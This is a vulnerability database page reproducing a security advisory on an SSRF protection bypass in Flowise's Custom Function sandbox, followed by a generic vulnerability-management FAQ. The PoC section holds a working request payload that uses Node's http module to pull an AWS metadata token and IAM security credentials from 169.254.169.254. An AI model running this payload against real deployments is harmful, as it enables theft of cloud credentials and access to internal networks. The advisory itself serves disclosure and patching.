Vulnerability Database

353,823

Total vulnerabilities in the database

Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox — flowise

Improper Access Control

Summary

A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)

Details

The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts

Vulnerable Code - Allowed Built-in Modules (Line 56):

export const defaultAllowBuiltInDep = [ 'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers', 'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram' ]

SSRF Protection Implementation (Lines 254-261):

// Only axios and node-fetch are wrapped with SSRF protection secureWrappers['axios'] = secureAxiosWrapper secureWrappers['node-fetch'] = secureNodeFetch const defaultNodeVMOptions: any = { // ... require: { builtin: builtinDeps, // <-- http, https, net allowed here mock: secureWrappers // <-- Only mocks axios, node-fetch }, // ... }

Root Cause:

  • The secureWrappers object only contains mocked versions of axios and node-fetch that enforce HTTP_DENY_LIST
  • The built-in http, https, and net modules are passed directly to the sandbox via builtinDeps without any SSRF protection
  • Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls

Affected File: packages/components/src/utils.ts

Related Files:

  • packages/components/src/httpSecurity.ts - Contains checkDenyList() function only used by axios/node-fetch wrappers
  • packages/server/src/controllers/nodes/index.ts - API endpoint accepting user-controlled JavaScript code
  • packages/server/src/services/nodes/index.ts - Service layer executing the code

PoC

Prerequisites:

  1. Flowise instance with HTTP_DENY_LIST configured (e.g., HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16)
  2. Valid API key or authenticated session
  3. For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached

Verify SSRF Protection is enabled (expect a block message by policy)

Request:

POST /api/v1/node-custom-function HTTP/1.1 Host: <host> Content-Type: application/json Authorization: Bearer <api_key> { "javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;" }

Response:

{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}

Bypass SSRF Protection using built-in http module

Request:

POST /api/v1/node-custom-function HTTP/1.1 Host: <host> Content-Type: application/json Authorization: Bearer <api_key> { "javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });" }

Response:

{ "Code": "Success", "LastUpdated": "2026-01-08T11:30:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2026-01-08T17:30:00Z" }

<img width="1638" height="751" alt="image" src="https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6" />

<img width="1633" height="986" alt="image" src="https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77" />

Impact

Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass

Who is Impacted:

  • All Flowise deployments where HTTP_DENY_LIST is configured for SSRF protection
  • Deployments without HTTP_DENY_LIST are already vulnerable to SSRF via any method

Impact Severity:

  1. Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources
  2. Scan internal networks, discover services, and identify attack targets
  3. Reach databases, admin panels, and other internal APIs that should not be externally accessible

Attack Requirements:

  • Authentication required (API key or session)
  • Network access to Flowise instance
  • Published: Apr 16, 2026
  • Updated: Apr 17, 2026
  • GHSA: GHSA-xhmj-rg95-44hv
  • Severity: High
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Unknown
  • Score:
  • AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

CWEs:

OWASP TOP 10:

Software From Fixed in
Node.js icon flowise - 3.1.0
Node.js icon flowise-components - 3.1.0

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.